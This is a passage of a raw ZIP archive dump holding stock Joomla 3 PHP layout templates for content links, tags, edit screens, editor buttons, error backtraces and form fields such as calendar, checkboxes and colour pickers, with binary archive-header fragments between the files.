'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo JText::sprintf('COM_CONTENT_READ_MORE_TITLE');
?>
</a>
<?php else : ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo JText::_('COM_CONTENT_READ_MORE');
?> <?php echo htmlspecialchars($item->title, ENT_QUOTES,
'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo JText::_('COM_CONTENT_READ_MORE'); ?>
<?php echo JHtml::_('string.truncate', $item->title,
$params->get('readmore_limit')); ?>
</a>
<?php endif; ?>
</p>
PK�J�[<���ZZjoomla/content/tags.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JLoader::register('TagsHelperRoute', JPATH_BASE .
'/components/com_tags/helpers/route.php');
$authorised = JFactory::getUser()->getAuthorisedViewLevels();
?>
<?php if (!empty($displayData)) : ?>
<ul class="tags inline">
<?php foreach ($displayData as $i => $tag) : ?>
<?php if (in_array($tag->access, $authorised)) : ?>
<?php $tagParams = new Registry($tag->params); ?>
<?php $link_class = $tagParams->get('tag_link_class',
'label label-info'); ?>
<li class="tag-<?php echo $tag->tag_id; ?>
tag-list<?php echo $i; ?>" itemprop="keywords">
<a href="<?php echo
JRoute::_(TagsHelperRoute::getTagRoute($tag->tag_id . ':' .
$tag->alias)); ?>" class="<?php echo $link_class;
?>">
<?php echo $this->escape($tag->title); ?>
</a>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif; ?>
PK�J�[���i<<joomla/content/text_filters.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<fieldset class="<?php echo !empty($displayData->formclass) ?
$displayData->formclass : 'form-horizontal'; ?>">
<legend><?php echo $displayData->name; ?></legend>
<?php if (!empty($displayData->description)) : ?>
<p><?php echo $displayData->description; ?></p>
<?php endif; ?>
<?php $fieldsnames = explode(',',
$displayData->fieldsname); ?>
<?php foreach ($fieldsnames as $fieldname) : ?>
<?php foreach ($displayData->form->getFieldset($fieldname) as
$field) : ?>
<div><?php echo $field->input; ?></div>
<?php endforeach; ?>
<?php endforeach; ?>
</fieldset>
PK�J�[L���joomla/edit/associations.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
$options = array(
'formControl' => $form->getFormControl(),
'hidden' => (int)
($form->getValue('language', null, '*') ===
'*'),
);
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JText::script('JGLOBAL_ASSOC_NOT_POSSIBLE');
JText::script('JGLOBAL_ASSOCIATIONS_RESET_WARNING');
JFactory::getDocument()->addScriptOptions('system.associations.edit',
$options);
JHtml::_('script', 'system/associations-edit.js',
array('version' => 'auto', 'relative'
=> true));
// JLayout for standard handling of associations fields in the
administrator items edit screens.
echo $form->renderFieldset('item_associations');
PK�J�[���7��joomla/edit/details.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* @deprecated 3.2 removed without replacement in 4.0 see global.php for
an alternative
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
// JLayout for standard handling of the details sidebar in administrator
edit screens.
$title = $displayData->getForm()->getValue('title');
$published =
$displayData->getForm()->getField('published');
$saveHistory =
$displayData->get('state')->get('params')->get('save_history',
0);
?>
<div class="span2">
<h4><?php echo JText::_('JDETAILS'); ?></h4>
<hr />
<fieldset class="form-vertical">
<?php if (empty($title)) : ?>
<div class="control-group">
<div class="controls">
<?php echo
$displayData->getForm()->getValue('name'); ?>
</div>
</div>
<?php else : ?>
<div class="control-group">
<div class="controls">
<?php echo
$displayData->getForm()->getValue('title'); ?>
</div>
</div>
<?php endif; ?>
<?php if ($published) : ?>
<?php echo
$displayData->getForm()->renderField('published'); ?>
<?php else : ?>
<?php echo
$displayData->getForm()->renderField('state'); ?>
<?php endif; ?>
<?php echo
$displayData->getForm()->renderField('access'); ?>
<?php echo
$displayData->getForm()->renderField('featured'); ?>
<?php if (JLanguageMultilang::isEnabled()) : ?>
<?php echo
$displayData->getForm()->renderField('language'); ?>
<?php else : ?>
<input type="hidden" id="jform_language"
name="jform[language]" value="<?php echo
$displayData->getForm()->getValue('language'); ?>"
/>
<?php endif; ?>
<?php echo
$displayData->getForm()->renderField('tags'); ?>
<?php if ($saveHistory) : ?>
<?php echo
$displayData->getForm()->renderField('version_note'); ?>
<?php endif; ?>
</fieldset>
</div>
PK�J�[��j�joomla/edit/fieldset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$name = $displayData->get('fieldset');
$fieldSet = $form->getFieldset($name);
if (empty($fieldSet))
{
return;
}
$ignoreFields = $displayData->get('ignore_fields') ? :
array();
$extraFields = $displayData->get('extra_fields') ? : array();
if (!empty($displayData->showOptions) ||
$displayData->get('show_options', 1))
{
if (isset($extraFields[$name]))
{
foreach ($extraFields[$name] as $f)
{
if (in_array($f, $ignoreFields))
{
continue;
}
if ($form->getField($f))
{
$fieldSet[] = $form->getField($f);
}
}
}
$html = array();
foreach ($fieldSet as $field)
{
$html[] = $field->renderField();
}
echo implode('', $html);
}
else
{
$html = array();
$html[] = '<div style="display:none;">';
foreach ($fieldSet as $field)
{
$html[] = $field->input;
}
$html[] = '</div>';
echo implode('', $html);
}
PK�J�[A�ۖ
�
$joomla/edit/frontediting_modules.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// JLayout for standard handling of the edit modules:
$moduleHtml = &$displayData['moduleHtml'];
$mod = $displayData['module'];
$position = $displayData['position'];
$menusEditing = $displayData['menusediting'];
$parameters = JComponentHelper::getParams('com_modules');
$redirectUri = '&return=' .
urlencode(base64_encode(JUri::getInstance()->toString()));
$target = '_blank';
$itemid =
JFactory::getApplication()->input->get('Itemid',
'0', 'int');
if (preg_match('/<(?:div|span|nav|ul|ol|h\d)
[^>]*class="[^"]* jmoddiv"/', $moduleHtml))
{
// Module has already module edit button:
return;
}
// Add css class jmoddiv and data attributes for module-editing URL and for
the tooltip:
$editUrl = JUri::base() .
'administrator/index.php?option=com_modules&task=module.edit&id='
. (int) $mod->id;
if ($parameters->get('redirect_edit', 'site') ===
'site')
{
$editUrl = JUri::base() .
'index.php?option=com_config&controller=config.display.modules&id='
. (int) $mod->id . '&Itemid=' . $itemid . $redirectUri;
$target = '_self';
}
// Add class, editing URL and tooltip, and if module of type menu, also the
tooltip for editing the menu item:
$count = 0;
$moduleHtml = preg_replace(
// Replace first tag of module with a class
'/^(\s*<(?:div|span|nav|ul|ol|h\d|section|aside|nav|address|article)
[^>]*class="[^"]*)"/',
// By itself, adding class jmoddiv and data attributes for the URL and
tooltip:
'\\1 jmoddiv" data-jmodediturl="' . $editUrl .
'" data-target="' . $target . '"
data-jmodtip="'
. JHtml::_('tooltipText',
JText::_('JLIB_HTML_EDIT_MODULE'),
htmlspecialchars($mod->title, ENT_COMPAT, 'UTF-8') .
'<br />' .
sprintf(JText::_('JLIB_HTML_EDIT_MODULE_IN_POSITION'),
htmlspecialchars($position, ENT_COMPAT, 'UTF-8')),
0
)
. '"'
// And if menu editing is enabled and allowed and it's a menu module,
add data attributes for menu editing:
. ($menusEditing && $mod->module === 'mod_menu' ?
' data-jmenuedittip="' .
JHtml::_('tooltipText', 'JLIB_HTML_EDIT_MENU_ITEM',
'JLIB_HTML_EDIT_MENU_ITEM_ID') . '"'
:
''
),
$moduleHtml,
1,
$count
);
if ($count)
{
// Load once booststrap tooltip and add stylesheet and javascript to head:
JHtml::_('bootstrap.tooltip');
JHtml::_('bootstrap.popover');
JHtml::_('stylesheet', 'system/frontediting.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/frontediting.js',
array('version' => 'auto', 'relative'
=> true));
}
PK�J�[�+%(��joomla/edit/global.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$input = $app->input;
$component = $input->getCmd('option',
'com_content');
if ($component === 'com_categories')
{
$extension = $input->getCmd('extension',
'com_content');
$parts = explode('.', $extension);
$component = $parts[0];
}
$saveHistory =
JComponentHelper::getParams($component)->get('save_history',
0);
$fields = $displayData->get('fields') ?: array(
array('parent', 'parent_id'),
array('published', 'state', 'enabled'),
array('category', 'catid'),
'featured',
'sticky',
'access',
'id',
'language',
'tags',
'note',
'version_note',
);
$hiddenFields = $displayData->get('hidden_fields') ?:
array();
$hiddenFields[] = 'id';
if (!$saveHistory)
{
$hiddenFields[] = 'version_note';
}
$html = array();
$html[] = '<fieldset class="form-vertical">';
foreach ($fields as $field)
{
foreach ((array) $field as $f)
{
if ($form->getField($f))
{
if (in_array($f, $hiddenFields))
{
$form->setFieldAttribute($f, 'type', 'hidden');
}
$html[] = $form->renderField($f);
break;
}
}
}
$html[] = '</fieldset>';
echo implode('', $html);
PK�J�[QF�:WWjoomla/edit/item_title.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* @deprecated 3.2
*/
defined('_JEXEC') or die;
$title = $displayData->getForm()->getValue('title');
$name = $displayData->getForm()->getValue('name');
?>
<?php if ($title) : ?>
<h2><?php echo htmlspecialchars($title, ENT_QUOTES,
'UTF-8'); ?></h2>
<?php endif; ?>
<?php if ($name) : ?>
<h2><?php echo htmlspecialchars($name, ENT_QUOTES,
'UTF-8'); ?></h2>
<?php endif;
PK�J�[�
��joomla/edit/metadata.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
// JLayout for standard handling of metadata fields in the administrator
content edit screens.
$fieldSets = $form->getFieldsets('metadata');
?>
<?php foreach ($fieldSets as $name => $fieldSet) : ?>
<?php if (isset($fieldSet->description) &&
trim($fieldSet->description)) : ?>
<p class="alert alert-info"><?php echo
$this->escape(JText::_($fieldSet->description)); ?></p>
<?php endif; ?>
<?php
// Include the real fields in this panel.
if ($name === 'jmetadata')
{
echo $form->renderField('metadesc');
echo $form->renderField('metakey');
echo $form->renderField('xreference');
}
foreach ($form->getFieldset($name) as $field)
{
if ($field->name !== 'jform[metadata][tags][]')
{
echo $field->renderField();
}
} ?>
<?php endforeach; ?>
PK�J�[e;�F
F
joomla/edit/params.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$fieldSets = $form->getFieldsets();
if (empty($fieldSets))
{
return;
}
$ignoreFieldsets = $displayData->get('ignore_fieldsets') ?:
array();
$ignoreFields = $displayData->get('ignore_fields') ?:
array();
$extraFields = $displayData->get('extra_fields') ?:
array();
$tabName = $displayData->get('tab_name') ?:
'myTab';
// These are required to preserve data on save when fields are not
displayed.
$hiddenFieldsets = $displayData->get('hiddenFieldsets') ?:
array();
// These are required to configure showing and hiding fields in the editor.
$configFieldsets = $displayData->get('configFieldsets') ?:
array();
// Handle the hidden fieldsets when show_options is set false
if (!$displayData->get('show_options', 1))
{
// The HTML buffer
$html = array();
// Hide the whole buffer
$html[] = '<div style="display:none;">';
// Loop over the fieldsets
foreach ($fieldSets as $name => $fieldSet)
{
// Check if the fieldset should be ignored
if (in_array($name, $ignoreFieldsets, true))
{
continue;
}
// If it is a hidden fieldset, render the inputs
if (in_array($name, $hiddenFieldsets))
{
// Loop over the fields
foreach ($form->getFieldset($name) as $field)
{
// Add only the input on the buffer
$html[] = $field->input;
}
// Make sure the fieldset is not rendered twice
$ignoreFieldsets[] = $name;
}
// Check if it is the correct fieldset to ignore
if (strpos($name, 'basic') === 0)
{
// Ignore only the fieldsets which are defined by the options not the
custom fields ones
$ignoreFieldsets[] = $name;
}
}
// Close the container
$html[] = '</div>';
// Echo the hidden fieldsets
echo implode('', $html);
}
// Loop again over the fieldsets
foreach ($fieldSets as $name => $fieldSet)
{
// Ensure any fieldsets we don't want to show are skipped (including
repeating formfield fieldsets)
if ((isset($fieldSet->repeat) && $fieldSet->repeat === true)
|| in_array($name, $ignoreFieldsets)
|| (!empty($configFieldsets) && in_array($name, $configFieldsets,
true))
|| (!empty($hiddenFieldsets) && in_array($name, $hiddenFieldsets,
true))
)
{
continue;
}
// Determine the label
if (!empty($fieldSet->label))
{
$label = JText::_($fieldSet->label);
}
else
{
$label = strtoupper('JGLOBAL_FIELDSET_' . $name);
if (JText::_($label) === $label)
{
$label = strtoupper($app->input->get('option') .
'_' . $name . '_FIELDSET_LABEL');
}
$label = JText::_($label);
}
// Start the tab
echo JHtml::_('bootstrap.addTab', $tabName, 'attrib-'
. $name, $label);
// Include the description when available
if (isset($fieldSet->description) &&
trim($fieldSet->description))
{
echo '<p class="alert alert-info">' .
$this->escape(JText::_($fieldSet->description)) .
'</p>';
}
// The name of the fieldset to render
$displayData->fieldset = $name;
// Force to show the options
$displayData->showOptions = true;
// Render the fieldset
echo JLayoutHelper::render('joomla.edit.fieldset',
$displayData);
// End the tab
echo JHtml::_('bootstrap.endTab');
}
PK�J�[�fd��joomla/edit/publishingdata.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$form = $displayData->getForm();
$fields = $displayData->get('fields') ?: array(
'publish_up',
'publish_down',
array('created', 'created_time'),
array('created_by', 'created_user_id'),
'created_by_alias',
array('modified', 'modified_time'),
array('modified_by', 'modified_user_id'),
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
foreach ($fields as $field)
{
foreach ((array) $field as $f)
{
if ($form->getField($f))
{
if (in_array($f, $hiddenFields))
{
$form->setFieldAttribute($f, 'type', 'hidden');
}
echo $form->renderField($f);
break;
}
}
}
PK�J�[�
joomla/edit/title_alias.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
$title = $form->getField('title') ? 'title' :
($form->getField('name') ? 'name' : '');
?>
<div class="form-inline form-inline-header">
<?php
echo $title ? $form->renderField($title) : '';
echo $form->renderField('alias');
?>
</div>
PK�J�[=�͙55!joomla/editors/buttons/button.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$button = $displayData;
?>
<?php if ($button->get('name')) : ?>
<?php
$class = $button->get('class') ?: null;
$class .= $button->get('modal') ? ' modal-button'
: null;
$href = $button->get('link') ? ' href="'
. JUri::base() . $button->get('link') . '"' :
null;
$onclick = $button->get('onclick') ? '
onclick="' . $button->get('onclick') .
'"' : '';
$title = $button->get('title') ?:
$button->get('text');
// Load modal popup behavior
if ($button->get('modal'))
{
JHtml::_('behavior.modal', 'a.modal-button');
}
?>
<a class="<?php echo $class; ?>" title="<?php
echo $title; ?>" <?php echo $href, $onclick; ?>
rel="<?php echo $button->get('options');
?>">
<span class="icon-<?php echo
$button->get('name'); ?>"
aria-hidden="true"></span> <?php echo
$button->get('text'); ?>
</a>
<?php endif;
PK�J�[|��k>>joomla/editors/buttons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$buttons = $displayData;
?>
<div id="editor-xtd-buttons" class="btn-toolbar
pull-left" role="toolbar" aria-label="<?php echo
JText::_('JTOOLBAR'); ?>">
<?php if ($buttons) : ?>
<?php foreach ($buttons as $button) : ?>
<?php echo $this->sublayout('button', $button); ?>
<?php endforeach; ?>
<?php endif; ?>
</div>
PK�J�[79�y��joomla/error/backtrace.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/** @var $displayData array */
$backtraceList = $displayData['backtrace'];
if (!$backtraceList)
{
return;
}
$class = isset($displayData['class']) ?
$displayData['class'] : 'table table-striped
table-bordered';
?>
<table cellpadding="0" cellspacing="0"
class="Table <?php echo $class ?>">
<tr>
<td colspan="3" class="TD">
<strong>Call stack</strong>
</td>
</tr>
<tr>
<td class="TD">
<strong>#</strong>
</td>
<td class="TD">
<strong>Function</strong>
</td>
<td class="TD">
<strong>Location</strong>
</td>
</tr>
<?php foreach ($backtraceList as $k => $backtrace): ?>
<tr>
<td class="TD">
<?php echo $k + 1; ?>
</td>
<?php if (isset($backtrace['class'])): ?>
<td class="TD">
<?php echo $backtrace['class'] .
$backtrace['type'] . $backtrace['function'] .
'()'; ?>
</td>
<?php else: ?>
<td class="TD">
<?php echo $backtrace['function'] . '()'; ?>
</td>
<?php endif; ?>
<?php if (isset($backtrace['file'])): ?>
<td class="TD">
<?php echo JHtml::_('debug.xdebuglink',
$backtrace['file'], $backtrace['line']); ?>
</td>
<?php else: ?>
<td class="TD">
 
</td>
<?php endif; ?>
</tr>
<?php endforeach; ?>
</table>
PK�J�[�V�joomla/error/index.htmlnu�[���<!DOCTYPE
html><title></title>
PK�J�[v�����joomla/form/field/calendar.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
// Get some system objects.
$document = JFactory::getDocument();
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
*
* Calendar Specific
* @var string $localesPath The relative path for the locale file
* @var string $helperPath The relative path for the helper file
* @var string $minYear The minimum year, that will be
subtracted/added to current year
* @var string $maxYear The maximum year, that will be
subtracted/added to current year
* @var integer $todaybutton The today button
* @var integer $weeknumbers The week numbers display
* @var integer $showtime The time selector display
* @var integer $filltable The previous/next month filling
* @var integer $timeformat The time format
* @var integer $singleheader Display different header row for
month/year
* @var integer $direction The document direction
*/
$inputvalue = '';
// Build the attributes array.
$attributes = array();
empty($size) ? null : $attributes['size'] = $size;
empty($maxlength) ? null : $attributes['maxlength'] = '
maxlength="' . $maxLength . '"';
empty($class) ? null : $attributes['class'] = $class;
!$readonly ? null : $attributes['readonly'] =
'readonly';
!$disabled ? null : $attributes['disabled'] =
'disabled';
empty($onchange) ? null : $attributes['onchange'] = $onchange;
if ($required)
{
$attributes['required'] = '';
$attributes['aria-required'] = 'true';
}
// Handle the special case for "now".
if (strtoupper($value) == 'NOW')
{
$value = JFactory::getDate()->format('Y-m-d H:i:s');
}
$readonly = isset($attributes['readonly']) &&
$attributes['readonly'] == 'readonly';
$disabled = isset($attributes['disabled']) &&
$attributes['disabled'] == 'disabled';
if (is_array($attributes))
{
$attributes = ArrayHelper::toString($attributes);
}
$cssFileExt = ($direction === 'rtl') ? '-rtl.css' :
'.css';
// Load polyfills for older IE
JHtml::_('behavior.polyfill', array('event',
'classlist', 'map'), 'lte IE 11');
// The static assets for the calendar
JHtml::_('script', $localesPath, false, true, false, false,
true);
JHtml::_('script', $helperPath, false, true, false, false, true);
JHtml::_('script', 'system/fields/calendar.min.js',
false, true, false, false, true);
JHtml::_('stylesheet', 'system/fields/calendar' .
$cssFileExt, array(), true);
?>
<div class="field-calendar">
<?php if (!$readonly && !$disabled) : ?>
<div class="input-append">
<?php endif; ?>
<input type="text" id="<?php echo $id; ?>"
name="<?php
echo $name; ?>" value="<?php
echo htmlspecialchars(($value !== '0000-00-00 00:00:00') ?
$value : '', ENT_COMPAT, 'UTF-8'); ?>" <?php
echo $attributes; ?>
<?php echo !empty($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: ''; ?> data-alt-value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
autocomplete="off"/>
<button type="button" class="<?php echo ($readonly
|| $disabled) ? 'hidden ' : ''; ?>btn
btn-secondary"
id="<?php echo $id; ?>_btn"
data-inputfield="<?php echo $id; ?>"
data-dayformat="<?php echo $format; ?>"
data-button="<?php echo $id; ?>_btn"
data-firstday="<?php echo
JFactory::getLanguage()->getFirstDay(); ?>"
data-weekend="<?php echo
JFactory::getLanguage()->getWeekEnd(); ?>"
data-today-btn="<?php echo $todaybutton; ?>"
data-week-numbers="<?php echo $weeknumbers; ?>"
data-show-time="<?php echo $showtime; ?>"
data-show-others="<?php echo $filltable; ?>"
data-time-24="<?php echo $timeformat; ?>"
data-only-months-nav="<?php echo $singleheader; ?>"
<?php echo isset($minYear) && strlen($minYear) ?
'data-min-year="' . $minYear . '"' :
''; ?>
<?php echo isset($maxYear) && strlen($maxYear) ?
'data-max-year="' . $maxYear . '"' :
''; ?>
title="<?php echo
JText::_('JLIB_HTML_BEHAVIOR_OPEN_CALENDAR'); ?>"
><span class="icon-calendar"
aria-hidden="true"></span></button>
<?php if (!$readonly && !$disabled) : ?>
</div>
<?php endif; ?>
</div>
PK�J�[ќ�ww
joomla/form/field/checkboxes.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="checkbox" id="%1$s"
name="%2$s" value="%3$s" %4$s />';
// The alt option for JText::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' checkboxes'); ?>"
<?php echo $required ? 'required
aria-required="true"' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = in_array((string) $option->value, $checkedOptions, true) ?
'checked' : '';
// In case there is no stored value, use the option's default
state.
$checked = (!$hasValue && $option->checked) ?
'checked' : $checked;
$optionClass = !empty($option->class) ? 'class="' .
$option->class . '"' : '';
$optionDisabled = !empty($option->disable) || $disabled ?
'disabled' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ? 'onclick="' .
$option->onclick . '"' : '';
$onchange = !empty($option->onchange) ? 'onchange="' .
$option->onchange . '"' : '';
$oid = $id . $i;
$value = htmlspecialchars($option->value, ENT_COMPAT,
'UTF-8');
$attributes = array_filter(array($checked, $optionClass,
$optionDisabled, $onchange, $onclick));
?>
<label for="<?php echo $oid; ?>"
class="checkbox">
<?php echo sprintf($format, $oid, $name, $value, implode('
', $attributes)); ?>
<?php echo $option->text; ?></label>
<?php endforeach; ?>
</fieldset>
PK�J�[�ϻ���$joomla/form/field/color/advanced.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellchec Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $checked Is this field checked?
* @var array $position Is this field checked?
* @var array $control Is this field checked?
*/
if ($validate !== 'color' && in_array($format,
array('rgb', 'rgba'), true))
{
$alpha = ($format === 'rgba');
$placeholder = $alpha ? 'rgba(0, 0, 0, 0.5)' : 'rgb(0, 0,
0)';
}
else
{
$placeholder = '#rrggbb';
}
$inputclass = ($keywords && ! in_array($format,
array('rgb', 'rgba'), true)) ? ' keywords' :
' ' . $format;
$class = ' class="' . trim('minicolors ' .
$class) . ($validate === 'color' ? '' : $inputclass) .
'"';
$control = $control ? ' data-control="' . $control .
'"' : '';
$format = $format ? ' data-format="' . $format .
'"' : '';
$keywords = $keywords ? ' data-keywords="' . $keywords .
'"' : '';
$validate = $validate ? ' data-validate="' . $validate .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$readonly = $readonly ? ' readonly' : '';
$hint = strlen($hint) ? ' placeholder="' .
$this->escape($hint) . '"' : '
placeholder="' . $placeholder . '"';
$autocomplete = ! $autocomplete ? ' autocomplete="off"'
: '';
// Force LTR input value in RTL, due to display issues with rgba/hex colors
$direction = $lang->isRtl() ? ' dir="ltr"
style="text-align:right"' : '';
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
JHtml::_('script', 'jui/jquery.minicolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.minicolors.css',
array('version' => 'auto', 'relative'
